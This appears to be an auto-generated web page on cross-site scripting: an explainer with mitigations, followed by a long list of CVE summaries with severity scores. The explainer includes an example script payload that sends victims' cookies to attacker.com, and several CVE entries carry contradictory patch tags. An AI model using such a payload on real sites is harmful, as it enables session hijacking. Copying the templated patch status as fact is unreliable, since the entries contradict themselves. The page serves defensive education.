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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40999)

EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

The femanager extension before 5.5.1 and 6.x before 6.3.1 for TYPO3 allows XSS via a crafted SVG document. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Femanager In2Code
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The miniorange_saml (aka Miniorange Saml) extension before 1.4.3 for TYPO3 allows XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Saml Miniorange
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

The MiCollab Client Service component in Mitel MiCollab before 9.3 could allow an attacker to perform a clickjacking attack due to an insecure header response. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Micollab Mitel
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Join Meeting page of Mitel MiCollab Web Client before 9.2 FP2 could allow an attacker to access (view and modify) user data by executing arbitrary code due to insufficient input validation, aka. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Micollab +1
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

openBaraza HCM 3.1.6 does not properly neutralize user-controllable input: an unauthenticated remote attacker can conduct a stored cross-site scripting (XSS) attack against an administrative user. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openbaraza Human Capital Management
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

openBaraza HCM 3.1.6 does not properly neutralize user-controllable input, which allows reflected cross-site scripting (XSS) on multiple pages: hr/subscription.jsp and hr/application.jsp and and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openbaraza Human Capital Management
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

ckeditor is an open source WYSIWYG HTML editor with rich content support. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Debian Oracle +13
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

PluXML 5.8.7 allows core/admin/profil.php stored XSS via the Information field. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Pluxml
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

PluXML 5.8.7 allows Article Editing stored XSS via Headline or Content. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pluxml
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

@github/paste-markdown is an npm package for pasting markdown objects. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Node.js Paste Markdown
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Dynamics 365
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Microsoft Dynamics Business Central Cross-site Scripting Vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Dynamics Nav +1
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

ckeditor is an open source WYSIWYG HTML editor with rich content support. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Oracle Fedora +13
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

Contao >=4.0.0 allows backend XSS via HTML attributes to an HTML field. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Contao
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Reflected cross-site scripting (XSS) was possible on the login page in Acronis Cyber Protect 15 prior to build 27009. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cyber Protect Acronis
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

The Securimage-WP-Fixed WordPress plugin is vulnerable to Reflected Cross-Site Scripting due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file which allows attackers to inject. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Netgear R8900 Firmware +14
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Netgear R6260 Firmware +17
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Netgear R6260 Firmware +18
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Netgear R6260 Firmware +18
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Netgear D6400 Firmware +42
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

NETGEAR RAX40 devices before 1.0.3.64 are affected by stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Netgear Rax40 Firmware
NVD
EPSS 2% CVSS 5.4
MEDIUM POC PATCH This Month

A user without privileges in Chamilo LMS 1.11.14 can send an invitation message to another user, e.g., the administrator, through main/social/search.php, main/inc/lib/social.lib.php and steal cookies. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

PHP XSS RCE +2
NVD GitHub Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

A Chamilo LMS 1.11.14 reflected XSS vulnerability exists in main/social/search.php=q URI (social network search feature). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Chamilo Lms +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Chamilo 1.11.14 allows stored XSS via main/install/index.php and main/install/ajax.php through the port parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Chamilo
NVD GitHub
EPSS 1% CVSS 8.8
HIGH This Week

CTparental before 4.45.03 is vulnerable to cross-site request forgery (CSRF) in the CTparental admin panel. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS CSRF Ctparental +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

CTparental before 4.45.03 is vulnerable to cross-site scripting (XSS) in the CTparental admin panel. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Ctparental +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

TYPO3 is an open source PHP based web content management system released under the GNU GPL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Typo3
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

GetSimpleCMS 3.3.16 contains a cross-site Scripting (XSS) vulnerability, where Function TSL does not filter check settings.php Website URL: "siteURL" parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Getsimplecms +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Under certain conditions, NetWeaver Enterprise Portal, versions - 7.30, 7.31, 7.40, 7.50, does not sufficiently encode URL parameters. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Netweaver Enterprise Portal
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Under certain conditions, NetWeaver Enterprise Portal, versions - 7.10, 7.11, 7.20, 7.30, 7.31, 7.40, 7.50, does not sufficiently encode report data. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Netweaver Enterprise Portal
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

UserExcelOut.asp within WebAccess/SCADA is vulnerable to cross-site scripting (XSS), which could allow an attacker to send malicious JavaScript code. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Webaccess Scada Advantech
NVD
EPSS 24% CVSS 5.4
MEDIUM This Month

Multiple XSS issues exist in Sonatype Nexus Repository Manager 3 before 3.33.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nexus Repository Manager Sonatype
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in TRENDnet TV-IP110WN V1.2.2.64 V1.2.2.65 V1.2.2.68 via the profile parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Tv Ip110Wn Firmware Trendnet
NVD GitHub VulDB
EPSS 2% CVSS 9.6
CRITICAL POC PATCH Act Now

The Jupyter notebook is a web-based notebook environment for interactive computing. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Google +2
NVD GitHub
EPSS 3% CVSS 9.6
CRITICAL POC PATCH Act Now

JupyterLab is a user interface for Project Jupyter which will eventually replace the classic Jupyter Notebook. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Jupyterlab +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Leafkit is a templating language with Swift-inspired syntax. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Leafkit Vapor
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Discourse is an open source discussion platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Discourse
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM POC This Month

A vulnerability in the web UI of Gurock TestRail v5.3.0.3603 could allow an unauthenticated, remote attacker to affect the integrity of a device via a clickjacking attack. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Testrail Gurock
NVD GitHub
EPSS 3% CVSS 6.1
MEDIUM POC This Month

A reflected cross-site scripting (XSS) vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's "404. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Java Tiny Java Web Server
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The WP Fusion Lite WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the startdate parameter found in the ~/includes/admin/logging/class-log-table-list.php file which allows. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The bulletin function of Flygo does not filter special characters while a new announcement is added. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Flygo Larvata
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The User Registration, User Profile, Login & Membership - ProfilePress (Formerly WP User Avatar) WordPress plugin before 3.1.11's widget for tabbed login/register was not properly escaped and could. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Profilepress +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Page View Count WordPress plugin before 2.4.9 does not escape the postid parameter of pvc_stats shortcode, allowing users with a role as low as Contributor to perform Stored XSS attacks. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Page View Count +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Forms WordPress plugin before 1.12.3 did not sanitise its input fields, leading to Stored Cross-Site scripting issues. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Forms
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The WP Google Map WordPress plugin before 1.7.7 did not sanitise or escape the Map Title before outputting them in the page, leading to a Stored Cross-Site Scripting issue by high privilege users,. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Google +2
NVD WPScan
EPSS 3% CVSS 6.1
MEDIUM POC This Month

The Marmoset Viewer WordPress plugin before 1.9.3 does not property sanitize, validate or escape the 'id' parameter before outputting back in the page, leading to a reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Marmoset Viewer
NVD WPScan
EPSS 1% CVSS 6.5
MEDIUM POC This Month

The Leaflet Map WordPress plugin before 3.0.0 does not verify the CSRF nonce when saving its settings, which allows attackers to make a logged in admin update the settings via a Cross-Site Request. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Newsmag WordPress theme before 5.0 does not sanitise the td_block_id parameter in its td_ajax_block AJAX action, leading to an unauthenticated Reflected Cross-site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Newsmag +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

An issue was discovered in the ammonia crate before 3.1.0 for Rust. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ammonia
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

An issue was discovered in the comrak crate before 0.10.1 for Rust. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Comrak Comrak Project
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

LeoStream Connection Broker 9.x before 9.0.34.3 allows Unauthenticated Reflected XSS via the /index.pl user parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Connection Broker Leostream
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in Naviwebs Navigate Cms 2.9 via the navigate-quickse parameter to 1) backups\backups.php, 2) blocks\blocks.php, 3) brands\brands.php, 4). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Navigate Cms +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

In JetBrains YouTrack before 2021.2.17925, stored XSS was possible. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Youtrack JetBrains
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

In JetBrains TeamCity before 2020.2.3, XSS was possible. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Teamcity JetBrains
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

index.php/appointment/insert_patient_add_appointment in Chikitsa Patient Management System 2.0.0 allows XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Patient Management System +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

index.php/appointment/todos in Chikitsa Patient Management System 2.0.0 allows XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Patient Management System +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

index.php/admin/add_user in Chikitsa Patient Management System 2.0.0 allows XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Patient Management System +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

Multiple improper neutralization of input during web page generation (CWE-79) in FortiManager and FortiAnalyzer versions 7.0.0, 6.4.5 and below, 6.2.7 and below user interface, may allow a remote. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fortinet Fortianalyzer +1
NVD
EPSS 1% CVSS 6.5
MEDIUM This Month

Authenticated Directory Traversal in WordPress Download Manager <= 3.1.24 allows authenticated (Contributor+) users to obtain sensitive configuration file information, as well as allowing Author+. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Path Traversal +2
NVD
EPSS 1% CVSS 6.4
MEDIUM POC This Month

An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.11 before 13.11.7, all versions starting from 13.12 before 13.12.8, and all versions starting from 14.0 before. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A reflected cross-site scripting vulnerability exists in TCExam <= 14.8.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Tcexam +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A reflected cross-site scripting vulnerability exists in TCExam <= 14.8.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Tcexam +1
NVD
EPSS 3% CVSS 6.1
MEDIUM This Month

Fixed a bypass for a reflected cross-site scripting vulnerability affecting OAuth-enabled instances of Mattermost. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mattermost
NVD
EPSS 1% CVSS 4.1
MEDIUM This Month

Showing the legitimate URL in the address bar while loading the content from other domain. Rated medium severity (CVSS 4.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Safe F Secure
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

An issue has been discovered in GitLab CE/EE affecting all versions starting from 14.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

ZTE's big video business platform has two reflective cross-site scripting (XSS) vulnerabilities. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zte Zxiptv Firmware
NVD
EPSS 2% CVSS 5.4
MEDIUM POC This Month

OneNav beta 0.9.12 allows XSS via the Add Link feature. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Onenav
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

EspoCRM 6.1.6 and prior suffers from a persistent (type II) cross-site scripting (XSS) vulnerability in processing user-supplied avatar images. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Espocrm
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Akaunting version 2.1.12 and earlier suffers from a persistent (type II) cross-site scripting (XSS) vulnerability in the sales invoice processing component of the application. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Akaunting
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Akaunting version 2.1.12 and earlier suffers from a persistent (type II) cross-site scripting (XSS) vulnerability in processing user-supplied avatar images. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Akaunting
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

In addBouquet in js/bqe.js in OpenWebif (aka e2openplugin-OpenWebif) through 1.4.7, inserting JavaScript into the Add Bouquet feature of the Bouquet Editor (i.e., bouqueteditor/api/addbouquet?name=). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openwebif Openwebif Project
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Multiple instances of improper neutralization of input during web page generation vulnerabilities in FortiSandbox before 4.0.0 may allow an unauthenticated attacker to perform an XSS attack via. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Fortinet Fortisandbox
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Pi-hole's Web interface provides a central location to manage a Pi-hole instance and review performance statistics. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pi Hole
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Frontend Taglib module in Liferay Portal 7.4.0 allows remote attackers to inject arbitrary web script or HTML into the management toolbar search via. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Liferay Portal Liferay
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Document Library module's add document menu in Liferay Portal 7.3.0 through 7.3.4, and Liferay DXP 7.1 before fix pack 20, and 7.2 before fix pack 9,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Fragment module in Liferay Portal 7.2.1 through 7.3.4, and Liferay DXP 7.2 before fix pack 9 allows remote attackers to inject arbitrary web script or. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Journal module's add article menu in Liferay Portal 7.3.0 through 7.3.3, and Liferay DXP 7.1 fix pack 18, and 7.2 fix pack 5 through 7, allows remote. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Portlet Configuration module in Liferay Portal 7.1.0 through 7.3.2, and Liferay DXP 7.1 before fix pack 19, and 7.2 before fix pack 7, allows remote. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The "blog title" field in the "Settings" menu "config" page of "dashboard" in htmly 2.8.1 has a storage cross site scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Htmly
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The "content" field in the "regular post" page of the "add content" menu under "dashboard" in htmly 2.8.1 has a storage cross site scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Htmly
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Asset module's edit vocabulary page in Liferay Portal 7.0.0 through 7.3.4, and Liferay DXP 7.0 before fix pack 96, 7.1 before fix pack 20, and 7.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Frontend JS module in Liferay Portal 7.3.4 and earlier, and Liferay DXP 7.0 before fix pack 96, 7.1 before fix pack 20 and 7.2 before fix pack 9,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 2% CVSS 5.4
MEDIUM POC This Month

CMSuno 1.7 is vulnerable to an authenticated stored cross site scripting in modifying the filename parameter (tgo) while updating the theme. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cmsuno Cmsuno Project
NVD GitHub Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM This Month

Dell EMC iDRAC9 versions prior to 5.00.00.00 contain a cross-site scripting vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Dell Emc Idrac9 Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Dell EMC iDRAC9 versions prior to 4.40.40.00 contain a DOM-based cross-site scripting vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Dell Emc Idrac9 Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Dell EMC iDRAC9 versions prior to 4.40.40.00 contain a DOM-based cross-site scripting vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Dell Emc Idrac9 Firmware
NVD
EPSS 2% CVSS 8.8
HIGH This Week

Poddycast is a podcast app made with Electron. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Command Injection +2
